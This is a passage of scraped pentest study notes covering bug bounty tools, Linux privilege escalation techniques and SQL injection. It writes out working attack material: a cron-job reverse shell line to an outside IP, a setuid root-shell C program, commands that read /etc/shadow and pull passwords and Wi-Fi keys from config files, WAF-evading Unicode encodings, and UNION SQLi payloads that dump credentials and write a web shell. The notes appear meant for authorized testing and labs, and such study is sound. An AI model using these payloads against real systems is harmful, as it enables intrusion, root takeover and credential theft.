[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#subdomain-and-vhost-discovery) Subdomain & VHost Discovery [https://github.com/edoardottt/scillaarrow-up-right](https://github.com/edoardottt/scilla) [https://pentest-tools.com/information-gathering/find-subdomains-of-domainarrow-up-right](https://pentest-tools.com/information-gathering/find-subdomains-of-domain) [https://pentest-tools.com/information-gathering/find-virtual-hostsarrow-up-right](https://pentest-tools.com/information-gathering/find-virtual-hosts) * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#information-gathering) Information Gathering [https://github.com/edoardottt/cariddiarrow-up-right](https://github.com/edoardottt/cariddi) [https://github.com/j3ssie/metabigorarrow-up-right](https://github.com/j3ssie/metabigor) [https://github.com/BullsEye0/dorks-eyearrow-up-right](https://github.com/BullsEye0/dorks-eye) [https://pentest-tools.com/information-gathering/google-hackingarrow-up-right](https://pentest-tools.com/information-gathering/google-hacking) ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#scanning-for-vulnerabilities) Scanning for Vulnerabilities [https://github.com/six2dez/reconftwarrow-up-right](https://github.com/six2dez/reconftw) [https://pentest-tools.com/website-vulnerability-scanning/website-scannerarrow-up-right](https://pentest-tools.com/website-vulnerability-scanning/website-scanner) [https://pentest-tools.com/cms-vulnerability-scanning/wordpress-scanner-online-wpscanarrow-up-right](https://pentest-tools.com/cms-vulnerability-scanning/wordpress-scanner-online-wpscan) [PreviousBug Bounty Huntingchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting) [NextUtilities, Scripts and Payloadschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads) Last updated 11 months ago * [Before you move on](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#before-you-move-on) * [Auto Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#auto-tools) * [Subdomain & VHost Discovery](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#subdomain-and-vhost-discovery) * [Information Gathering](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#information-gathering) * [Scanning for Vulnerabilities](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#scanning-for-vulnerabilities) --- # PriveEsc Checklist | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#system-information) System Information -------------------------------------------------------------------------------------------------------------------------------------------------------------- Kernal information Copy uname -a Operating System Information Copy cat /etc/issue cat /etc/*-release view $PATH Copy echo $PATH | tr ":" "\n" [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#network-information) Network Information ---------------------------------------------------------------------------------------------------------------------------------------------------------------- View IP configuration information Copy ifconifg -a Print current network routes Copy route -n Check DNS resolver Copy cat /etc/resolv.conf View ARP table List all active TCP and UDP connections netstat ss Dump clear text PSK keys from the Network manager. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#user-information) User Information ---------------------------------------------------------------------------------------------------------------------------------------------------------- Current user id From /etc/passwd Last logged on Currently logged on user All users with UID and GUID Information List all root accounts [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#running-processes) Running Processes ------------------------------------------------------------------------------------------------------------------------------------------------------------ List running processes Processes running as root Processes running as current user [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#file-and-folder-permissions) File and Folder permissions -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Can we read Shadow? Find Sticky bit Find SUID Find SGID World Writeable files List configuration files in /etc/ Grep for interesting keywords in configuration files Can we list the contents of root/? Can we read other users history files? [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#cronjobs-and-scheduled-tasks) Cronjobs and scheduled tasks ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Check for tasks that are run as root and are world writeable. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#metasploit-modules) Metasploit modules -------------------------------------------------------------------------------------------------------------------------------------------------------------- Post exploit enumeration [PreviousLinux PrivEsc Summarychevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques) [NextEnumerating Attack Vectorschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/enumerating-attack-vectors) Last updated 9 months ago * [System Information](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#system-information) * [Network Information](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#network-information) * [User Information](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#user-information) * [Running Processes](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#running-processes) * [File and Folder permissions](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#file-and-folder-permissions) * [Cronjobs and scheduled tasks](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#cronjobs-and-scheduled-tasks) * [Metasploit modules](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist#metasploit-modules) Copy arp -en Copy netstat -auntp Copy ss -twurp Copy cat /etc/NetworkManager/system-connections/* |grep -E "^id|^psk" Copy id Copy grep $USER /etc/passwd Copy lastlog | grep -v '**Never logged in**' Copy w Copy for user in $(cat /etc/passwd | cut -f1 -d ":"); do id $user; done Copy cat /etc/passwd |cut -f1,3,4 -d":" | grep "0:0" |cut -f1 -d":" |awk '{print $1}' Copy ps auxwww Copy ps -u root Copy ps -u $USER Copy cat /etc/shadow Copy find / -perm -1000 -type d 2>/dev/null Copy find / -perm -u=s -type f 2>/dev/null Copy find / -perm -g=s -type f 2>/dev/null Copy find -perm -2 type -f 2>/dev/null Copy ls -al /etc/*.conf Copy grep 'pass*' /etc/*.conf 2> /dev/null grep 'key' /etc/*.conf 2> /dev/null grep 'secret' /etc/*.conf 2> /dev/null Copy ls -als root/ Copy find /* -name *.*history* -print 2> /dev/null Copy cat /etc/crontab ls -als /etc/cron.* Copy find /etc/cron* -type f -perm -o+w -exec ls -l {} \; Copy post/linux/gather/enum_configs post/linux/gather/enum_system post/linux/gather/enum_network post/linux/gather/enum_psk post/linux/gather/hashdump post/linux/gather/openvpn_credentials post/linux/gather/phpmyadmin_credsteal --- # Linux PrivEsc Summary | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#automated-tools) Automated Tools --------------------------------------------------------------------------------------------------------------------------------------------------------------- * **LinPeas**: [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEASarrow-up-right](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) * **LinEnum:** [https://github.com/rebootuser/LinEnumarrow-up-right](https://github.com/rebootuser/LinEnum) * **LES (Linux Exploit Suggester):** [https://github.com/mzet-/linux-exploit-suggesterarrow-up-right](https://github.com/mzet-/linux-exploit-suggester) * **Linux Smart Enumeration:** [https://github.com/diego-treitos/linux-smart-enumerationarrow-up-right](https://github.com/diego-treitos/linux-smart-enumeration) * **Linux Priv Checker:** [https://github.com/linted/linuxprivcheckerarrow-up-right](https://github.com/linted/linuxprivchecker) [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#capabilities) Capabilities --------------------------------------------------------------------------------------------------------------------------------------------------------- Capabilities are somewhat like SUID but more granular. A SUID bit can set a binary to have privileged access to everywhere whereas a binary with a capability set may have privileged access to just one part of the kernel (such as the ability to open raw sockets). WIth this in mind it may be possible to perform privilege escalation by abusing a capability on a binary. To view the capabilities on a system run the following command: Copy getcap -r / 2>/dev/null ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%282042%29.png&width=768&dpr=3&quality=100&sign=8db6e6a6&sv=2) Looking at the output of capability set binaries above we can compare these with [GTFOBinsarrow-up-right](https://gtfobins.github.io/#+capabilities) to look for privilege escalation opportunities. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%281940%29.png&width=768&dpr=3&quality=100&sign=b8fcd380&sv=2) As per the above image from GTFOBins we can attempt to abuse the `CAP_SETUID` capability on the `view` binary to spawn a root shell. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#cron-jobs) Cron Jobs --------------------------------------------------------------------------------------------------------------------------------------------------- Cron jobs are tasks which can execute scripts on the system at predetermined times (similar to Windows Task Scheduler). Under particular circumstances it may be possible to abuse these for privilege escalation. Any user can read the file keeping system-wide Cron jobs under `/etc/cron`. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%281005%29.png&width=768&dpr=3&quality=100&sign=948913a8&sv=2) At the bottom of the image we can see where cron jobs owned by root are executing scripts every minute (represented by a wildcard). The abuse function for Cron jobs exist where the jobs are executed in the context of the owner or in the case of above, root. If we can modify or replace a script that is called by a Cron job, privilege escalation will be possible. It is also important to mention the PATH that is defined in `/etc/cron`. For any scripts called by Cron that are not fully defined i.e, in the above example `antivirus.sh` is not a fully defined path, if we was to place a reverse shell file called antivirus.sh anywhere in the defined path `PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin` (Providing we have permission to any of the path) this would then be executed by Cron (as root). Taking another example form the output the following line is of interest. This job is owned by root and points to a file in the current users home directory. Being as this is in the current users home directory the user has full permission over the file. The file can be overwritten and then when executed will run with our own code as the root user. Wait for the job to run and a reverse shell should be caught as root. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%2814%29%2520%282%29%2520%281%29%2520%281%29.png&width=768&dpr=3&quality=100&sign=ce68b9f3&sv=2) [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#kernel-exploits) Kernel Exploits --------------------------------------------------------------------------------------------------------------------------------------------------------------- The kernel on an operating system works at a low and facilitates communication and between the hardware and applications. As the kernel requires privileged permissions to function correctly a kernel exploit can often lead to an escalation of privileges. Generally the process of kernel exploitation from an adversary perspective involves performing enumeration on the target system and depending on the version of the kernel running on the target system, perform an exploit if one is available. Tools such as [Linux Exploit Suggesterarrow-up-right](https://github.com/mzet-/linux-exploit-suggester) can be used to help identify if the current OS and kernel are vulnerable to any known exploits. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#nfs) NFS --------------------------------------------------------------------------------------------------------------------------------------- By default, NFS shares change the root user to the `nfsnobody` user, an unprivileged user account. In this way, all root-created files are owned by `nfsnobody`, which prevents uploading of programs with the setuid bit set. If `no_root_squash` is used, remote root users are able to change any file on the shared file system and leave trojaned applications for other users to inadvertently execute. [\[Source\]arrow-up-right](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/4/html/security_guide/s2-server-nfs-noroot) circle-info This attack method requires the adversary to already have shell access on the target system. Given the above information we can check from the target system what NFS shares have `no_root_squash` enabled by reading `/etc/exports`. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%281411%29.png&width=768&dpr=3&quality=100&sign=37d11d6b&sv=2) From above we can see that available NFS shares from within the target system. All shares have `no_root_squash` enabled. We will be using the `/tmp` share as the example going forward. From the adversary's perspective the NFS shares have been enumerated with `Nmap` and the attacker has discovered the shares are mountable. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%28149%29.png&width=768&dpr=3&quality=100&sign=54b786d4&sv=2) On the adversary's attacking system a directory is created from where the target systems `/tmp` directory can be mounted From the attackers machine we can see the contents of the target system `/tmp` directory. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%28980%29.png&width=768&dpr=3&quality=100&sign=e24ad3e5&sv=2) Next, a simple C application is created which will spawn a bash shell. circle-info Other C payloads can be found here: [BookHackTricksarrow-up-right](https://book.hacktricks.xyz/linux-unix/privilege-escalation/payloads-to-execute#c) . The C code can then be compiled locally on the attackers system. Then the SUID bit can be set on the shell file. Now compiled and the SUID bit set we should now see the shell file from the perspective of the target systems `/tmp` directory. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%28182%29.png&width=768&dpr=3&quality=100&sign=4a29e82f&sv=2) Then, executing the shell file locally on the target system should obtain a root shell. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Fimage%2520%28248%29.png&width=768&dpr=3&quality=100&sign=cc8ff5ce&sv=2) [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#sudo) Sudo ----------------------------------------------------------------------------------------------------------------------------------------- Circumstances can exists where select users are given sudo rights to particular binaries instead of sudo rights for an entire system. In this way it may be possible to abuse the `sudo` function for a binary to spawn a root shell. GTFOBins is the prime resource for finding the appropriate methods for the binaries. **GTFOBins:** [https://gtfobins.github.io/arrow-up-right](https://gtfobins.github.io/) The above code block represents the result of checking `sudo` permissions for the current user with `sudo -l`. As shown in the code block the user karen is able to run the find binary as any user `(ALL)` without specifying a password `(NOPASSWD).` From the following [linkarrow-up-right](https://gtfobins.github.io/gtfobins/find/) we can see that find can be used to spawn a root shell. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2FGTFOBins-find.png&width=768&dpr=3&quality=100&sign=e5188923&sv=2) Execution shown below ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2Ffind%2520PE.png&width=768&dpr=3&quality=100&sign=d5e683e&sv=2) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#suid) **SUID** --------------------------------------------------------------------------------------------------------------------------------------------- The SUID bit can be used to execute file and binaries in the context of the file owner. For example, a binary owned by root which has the SUID bit set would indicate another user is able to execute the binary in the context of root (the file owner). The command below can be used to find binaries and files with the SUID bit set. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2FSUID.png&width=768&dpr=3&quality=100&sign=8dd44d32&sv=2) As we can see the from the image above the SUID bit is set on `/usr/bin/base64`. Referring to the GTFOBins link below we can see this can be used for privilege escalation on the base64 binary. * **GTFOBins SUID:** [https://gtfobins.github.io/#+suidarrow-up-right](https://gtfobins.github.io/#+suid) ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2FBase64%2520SUID.png&width=768&dpr=3&quality=100&sign=892649b0&sv=2) As with the example above this can be used to read the shadow file (owned by root) where hashes can then be extracted for password cracking (as an example). ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Fx3m1Sec%2Fcpts_notes%2Fblob%2Fmain%2Fpentest-notes%2F.gitbook%2Fassets%2FBase64%2520-%2520Shadow%2520Read.png&width=768&dpr=3&quality=100&sign=e6408ffa&sv=2) [PreviousLinux Privilege Escalationchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation) [NextPriveEsc Checklistchevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/privilege-escalation-checklist) Last updated 9 months ago * [Automated Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#automated-tools) * [Capabilities](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#capabilities) * [Cron Jobs](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#cron-jobs) * [Kernel Exploits](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#kernel-exploits) * [NFS](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#nfs) * [Sudo](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#sudo) * [SUID](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/linux-privilege-escalation-techniques#suid) Copy /home/ubuntu/view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' Copy * * * * * root /home/karen/backup.sh Copy # clear the contents of the current backup.sh file echo > backup.sh # echo in reverse shell code echo "#!/bin/bash" > backup.sh echo "sh -i >& /dev/tcp/10.14.13.184/80 0>&1" >> backup.sh Copy nmap --script nfs-ls,nfs-statfs Copy mkdir /tmp/1 sudo mount -o rw :/tmp /tmp/1 Copy int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; } Copy gcc -w shell.c -o shell Copy sudo chmod +s shell Copy $ sudo -l User karen may run the following commands on ip-10-10-21-57: (ALL) NOPASSWD: /usr/bin/find $ Copy find / -type f -perm -04000 -ls 2>/dev/null Copy /usr/bin/base64 /etc/shadow | base64 --decode --- # Miscellaneous Techniques | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#shared-object-hijacking-binary-runpath-variable) **Shared Object Hijacking - Binary RUNPATH variable** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ A binary or program may use a custom library that can be enumerated by using one of the following commands: * `ldd /path/to/program-name` * `readelf -d /path/to/program-name | grep PATH` By checking the `RUNPATH` content, we can verify if a custom directory is being used. Custom libraries specified by the RUNPATH have higher priority compared to the other libraries, similarly. to LD\_PRELOAD In other terms, if the `RUNPATH` contains `/directoryname/customlibrary.so` we can hijack the shared library to elevate privileges To abuse the RUNPATH, the procedure is the _same as the_ `_LD_PRELOAD_` _abuse_: * identify a function used by binary/program * write a malicious shared library containing a reverse shell payload inside a function with the same signature as the original one * substitute the original custom library file with the malicious one * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#weak-nfs-privileges-to-privesc) **Weak NFS Privileges to Privesc** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ * Any accessible mounts can be listed remotely by issuing the command `showmount -e target-ip` * When an NFS volume is created, various options can be set * To escalate privileges, we need to have the `no_root_squash` option * This option allows remote users connecting to the share as the local root user to create files on the NFS server as the root user.\\This would allow for the creation of malicious scripts/programs with the SUID bit set. * Basically, you can use the attacker's machine root user to create files on the NFS server as the root user * To enumerate the exports on the machine hosting an NFS Share: `cat /etc/exports` * If `no_root_squash` is set we can create a `SETUID` binary that executes `/bin/sh` using our local root user. \\ We can then mount the `/tmp` directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit. **Exploitation steps:** 1. Suppose a target machine hosts a NFS Share. We can enumerate that by using `showmount -e target-ip` 2. Suppose we have local access to the target machine. We can check if the `no_root_squash` options is set for the previous share by using `cat /etc/exports` 3. Write the PoC script: 4. Compile the script: `gcc shell.c -o shell` 5. Use the local root user to copy the file on the NFS share as root: * `sudo mount -t nfs 10.129.2.12:/tmp /mnt` * `cp shell /mnt` * `chmod u+s /mnt/shell` 6. Switching back to the target host's session, we can escalate privileges to root by executing the binary: `cd /tmp; ./shell` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#tmux-terminal-session-hijacking-requires-dev-group) **TMUX Terminal Session Hijacking (Requires DEV group)** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > * Terminal multiplexers such as `tmux` can be used to **allow multiple terminal sessions to be accessed within a single console session** > > * When not working in a tmux window, we can `detach` from the session, still leaving it `active` > > * We can gain a `root` terminal session if a user left a `tmux` process running as a privileged user > > * To do that, we need to have access to a user in the `dev` group to create a new `shared tmux session` and modify its ownership > **Exploitation steps:** 1. Create new shared sessions: `tmux -S /shareds new -s debugsess` 2. Change session owner: `chown root:devs /shareds` 3. Check for any ruynning tmux processes: `ps aux | grep tmux` 4. Attach the tmux session and get root privileges: `tmux -S /shareds` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#python-library-hijacking) **Python Library Hijacking** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > * There are many ways in which we can hijack a Python library. > > * Much depends on the script and its contents itself. > > * However, there are three basic vulnerabilities where hijacking can be used > 1. **Wrong write permissions:** * Requirements: A python script with `SUID` privileges that makes use of any library (`import libraryname`) * The library file will be located at `/usr/local/lib/python3.8/dist-packages/libraryname` * After checking which library function is called inside the python code, we can edit the library file by injecting a payload such as `import os` `os.system('id')` * Executing the python script again will show the results of the `id` command, confirming root privileges 2. **Library Path:** * Requirements: write permissions in one of the folders shown by the PYTHONPATH variable (preferrably one of the folders first folders) * To enumerate the PYTHONPATH variable contents: `python3 -c 'import sys; print("\n".join(sys.path))'` * PoC: if we have write permissions inside one of the folders specified by the PYTHONPATH variable we can proceed in a similar manner as with the standard PATH environment variable abuse. * The basic idea is to write a file with the same name and signature as an imported library and inject a payload to run a shell 3. **PYTHONPATH environment variable:** * Requirements: permissions to edit the PYTHONPATH variable * To check that permission: `sudo -l` → Output: `SETENV: /usr/bin/python3` * PoC: edit the `PYTHONPATH` variable in the same way as a standard `PATH` environment variable privilege escalation [PreviousPrograms, Jobs and Serviceschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/programs-jobs-and-services) [NextRecent CVEschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/recent-cves) Last updated 9 months ago * [Shared Object Hijacking - Binary RUNPATH variable](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#shared-object-hijacking-binary-runpath-variable) * [Weak NFS Privileges to Privesc](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#weak-nfs-privileges-to-privesc) * [TMUX Terminal Session Hijacking (Requires DEV group)](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#tmux-terminal-session-hijacking-requires-dev-group) * [Python Library Hijacking](https://x3m1sec.gitbook.io/notes/pentest-notes/linux-privilege-escalation/miscellaneous-techniques#python-library-hijacking) Copy #include #include #include int main(void) { setuid(0); setgid(0); system("/bin/bash"); } --- # SQL Injection (SQLi) | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#introduction) **Introduction** --------------------------------------------------------------------------------------------------------------------------------------- > * SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. > > * It generally allows an attacker to view data that they are not normally able to retrieve. > > * This might include data belonging to other users, or any other data that the application itself is able to access. > > * In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior. > > * In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. > > * Source: [https://portswigger.net/web-security/sql-injectionarrow-up-right](https://portswigger.net/web-security/sql-injection) > * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#useful-resources) **Useful Resources** ----------------------------------------------------------------------------------------------------------------------------------------------- 1. [https://portswigger.net/web-security/sql-injection/cheat-sheetarrow-up-right](https://portswigger.net/web-security/sql-injection/cheat-sheet) 2. [https://book.hacktricks.xyz/pentesting-web/sql-injectionarrow-up-right](https://book.hacktricks.xyz/pentesting-web/sql-injection) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#finding-a-sqli-attack-vector) **Finding a SQLi attack vector** ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- > Whenever faced with user-input, you can check if the target is vulnerable to SQLi by using the following inputs Note that in some cases you may be facing a blind SQLi, which means that you won't be able to "see" any error messages Copy ' " ` ') ") `) ')) ")) `)) OR 1=1 OR 1=1 -- // > Take care when injecting the condition OR 1=1 into a SQL query. Even if it appears to be harmless in the context you're injecting into, it's common for applications to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, it can result in an accidental loss of data. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#sql-injection-filter-evasion-unicode-normalization) SQL Injection Filter Evasion - Unicode Normalization ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing You can find a great article here: [https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/arrow-up-right](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/) Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters.** You can use the following payloads to try and trigger a SQLi whenever you are facing any filters. Sometimes, unicode normalization even allows bypassing WAFs in place. Other characters can be found at: * [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.htmlarrow-up-right](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) * [https://0xacb.com/normalization\_tablearrow-up-right](https://0xacb.com/normalization_table) Character Unicode Normalization o %e1%b4%bc r %e1%b4%bf 1 %c2%b9 \= %e2%81%bc / %ef%bc%8f \- %ef%b9%a3 # %ef%b9%9f \* %ef%b9%a1 ' %ef%bc%87 " %ef%bc%82 | %ef%bd%9c * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#union-based-sql-injection-payloads) **UNION-Based SQL Injection Payloads** ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Payload Description ' order by 1-- - Detect number of columns using order by cn' UNION select 1,2,3-- - Detect number of columns using Union injection cn' UNION select 1,@@version,3,4-- - Basic Union injection UNION select username, 2, 3, 4 from passwords-- - Union injection for 4 columns cn' UNION select 1,database(),2,3-- - Current database name cn' UNION select 1,schema\_name,3,4 from INFORMATION\_SCHEMA.SCHEMATA-- - List all databases cn' UNION select 1,TABLE\_NAME,TABLE\_SCHEMA,4 from INFORMATION\_SCHEMA.TABLES where table\_schema='dev'-- - List all tables in a specific database cn' UNION select 1,COLUMN\_NAME,TABLE\_NAME,TABLE\_SCHEMA from INFORMATION\_SCHEMA.COLUMNS where table\_name='credentials'-- - List all columns in a specific table cn' UNION select 1, username, password, 4 from dev.credentials-- - Dump data from a table in another database cn' UNION SELECT 1, user(), 3, 4-- - Find current user cn' UNION SELECT 1, super\_priv, 3, 4 FROM mysql.user WHERE user="root"-- - Find if user has admin privileges cn' UNION SELECT 1, grantee, privilege\_type, is\_grantable FROM information\_schema.user\_privileges WHERE user="root"-- - Find if all user privileges cn' UNION SELECT 1, variable\_name, variable\_value, 4 FROM information\_schema.global\_variables where variable\_name="secure\_file\_priv"-- - Find which directories can be accessed through MySQL cn' UNION SELECT 1, LOAD\_FILE("/etc/passwd"), 3, 4-- - Read local file select 'file written successfully!' into outfile '/var/www/html/proof.txt' Write a string to a local file cn' union select "",'', "", "" into outfile '/var/www/html/shell.php'-- - Write a web shell into the base web directory * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#sql-injection-payloads-lists) **SQL Injection Payloads Lists** ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- chevron-rightAuthentication 